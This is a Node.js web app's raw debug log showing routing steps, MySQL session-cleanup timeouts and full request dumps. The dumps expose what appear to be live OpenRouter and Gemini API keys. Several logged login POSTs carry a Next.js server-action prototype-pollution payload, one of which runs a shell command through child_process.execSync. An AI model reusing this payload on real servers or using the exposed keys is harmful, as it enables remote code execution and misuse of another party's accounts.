    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '198.235.24.20',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-08T12:33:51.906Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '198.235.24.20',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '198.235.24.20',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-07 12:37:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-07 12:37:54' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-07 12:51:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-07 12:51:54' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-07 15:59:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-07 15:59:54' as DATETIME)"
}
2026-03-07T17:32:44.072Z server-connect:router Serving templateView /
2026-03-07T17:32:44.074Z server-connect:app Executing action step identify
2026-03-07T17:32:44.074Z server-connect:app options: { provider: 'security' }
2026-03-07T17:32:44.074Z server-connect:auth No login cookie found
2026-03-07T17:32:44.074Z server-connect:output identity: false
2026-03-07T17:32:44.074Z server-connect:app Executing action step restrict
2026-03-07T17:32:44.075Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-07T17:32:44.075Z server-connect:output restrict: undefined
2026-03-07T17:32:44.250Z server-connect:router Serving templateView /login
2026-03-07T17:32:44.251Z server-connect:app Executing action step identify
2026-03-07T17:32:44.251Z server-connect:app options: { provider: 'security' }
2026-03-07T17:32:44.251Z server-connect:auth No login cookie found
2026-03-07T17:32:44.251Z server-connect:output identity: false
2026-03-07T17:32:44.251Z server-connect:router Render template layouts/authentication
2026-03-07T17:32:44.252Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {
    '0': '{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\\"then\\":\\"$B1337\\"}", "_response": {"_prefix": "var res=process.mainModule.require(\'child_process\').execSync(\'echo $((41*271)) | base64 -w 0\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}}',
    '1': '"$@0"',
    '2': '[]'
  },
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: '*/*',
    xxxxxxxxxx: 'keep-alive',
    'next-action': 'x',
    'x-nextjs-request-id': '1f076c30',
    'content-type': 'multipart/form-data; boundary=--------WebKitFormBoundary75ca7ba439a8405d',
    'content-length': '748',
    'x-forwarded-for': '52.37.202.195',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-08T17:32:44.249Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: 'multipart/form-data; boundary=--------WebKitFormBoundary75ca7ba439a8405d',
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '52.37.202.195',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'POST',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    HTTP_XXXXXXXXXX: 'keep-alive',
    HTTP_NEXT_ACTION: 'x',
    'HTTP_X_NEXTJS-REQUEST-ID': '1f076c30',
    HTTP_CONTENT_TYPE: 'multipart/form-data; boundary=--------WebKitFormBoundary75ca7ba439a8405d',
    HTTP_CONTENT_LENGTH: '748',
    'HTTP_X_FORWARDED-FOR': '52.37.202.195',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-07T17:32:44.769Z server-connect:router Serving templateView /login
2026-03-07T17:32:44.771Z server-connect:app Executing action step identify
2026-03-07T17:32:44.771Z server-connect:app options: { provider: 'security' }
2026-03-07T17:32:44.771Z server-connect:auth No login cookie found
2026-03-07T17:32:44.771Z server-connect:output identity: false
2026-03-07T17:32:44.771Z server-connect:router Render template layouts/authentication
2026-03-07T17:32:44.771Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {
    '0': '{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\\"then\\":\\"$B1337\\"}", "_response": {"_prefix": "var res=process.mainModule.require(\'child_process\').execSync(\'echo $((41*271)) | base64 -w 0\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}}',
    '1': '"$@0"',
    '2': '[]',
    '1_$ACTION_ID_vercel': '""'
  },
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: '*/*',
    connection: 'keep-alive',
    'next-action': 'x',
    'x-nextjs-request-id': '1f076c30',
    'content-type': 'multipart/form-data; boundary=--------WebKitFormBoundaryeabe77875b6a4927',
    'content-length': '860',
    'x-forwarded-for': '52.37.202.195',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-08T17:32:44.768Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: 'multipart/form-data; boundary=--------WebKitFormBoundaryeabe77875b6a4927',
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '52.37.202.195',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'POST',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_NEXT_ACTION: 'x',
    'HTTP_X_NEXTJS-REQUEST-ID': '1f076c30',
    HTTP_CONTENT_TYPE: 'multipart/form-data; boundary=--------WebKitFormBoundaryeabe77875b6a4927',
    HTTP_CONTENT_LENGTH: '860',
    'HTTP_X_FORWARDED-FOR': '52.37.202.195',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-07T17:32:44.945Z server-connect:router Serving templateView /login
2026-03-07T17:32:44.946Z server-connect:app Executing action step identify
2026-03-07T17:32:44.946Z server-connect:app options: { provider: 'security' }
2026-03-07T17:32:44.946Z server-connect:auth No login cookie found
2026-03-07T17:32:44.946Z server-connect:output identity: false
2026-03-07T17:32:44.946Z server-connect:router Render template layouts/authentication
2026-03-07T17:32:44.946Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {
    '0': `{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\\"then\\":\\"$B1337\\"}", "_response": {"_prefix": "throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;/safe_check_11111;307;'});", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}}`,
    '1': '"$@0"',
    '2': '[]'
  },
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: '*/*',
    xxxxxxxxxx: 'keep-alive',
    'next-action': 'x',
    'x-nextjs-request-id': '1f076c30',
    'content-type': 'multipart/form-data; boundary=--------WebKitFormBoundary62ee74465f084285',
    'content-length': '636',
    'x-forwarded-for': '52.37.202.195',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-08T17:32:44.944Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: 'multipart/form-data; boundary=--------WebKitFormBoundary62ee74465f084285',
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '52.37.202.195',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'POST',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    HTTP_XXXXXXXXXX: 'keep-alive',
    HTTP_NEXT_ACTION: 'x',
    'HTTP_X_NEXTJS-REQUEST-ID': '1f076c30',
    HTTP_CONTENT_TYPE: 'multipart/form-data; boundary=--------WebKitFormBoundary62ee74465f084285',
    HTTP_CONTENT_LENGTH: '636',
    'HTTP_X_FORWARDED-FOR': '52.37.202.195',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-07T18:53:30.896Z server-connect:router Serving templateView /
2026-03-07T18:53:30.897Z server-connect:app Executing action step identify
2026-03-07T18:53:30.897Z server-connect:app options: { provider: 'security' }
2026-03-07T18:53:30.897Z server-connect:auth No login cookie found
2026-03-07T18:53:30.897Z server-connect:output identity: false
2026-03-07T18:53:30.897Z server-connect:app Executing action step restrict
2026-03-07T18:53:30.897Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-07T18:53:30.897Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-07 19:25:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-07 19:25:55' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-07 21:35:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-07 21:35:55' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-08 01:55:56' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-08 01:55:56' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-08 02:19:56' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-08 02:19:56' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-08 02:44:56' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
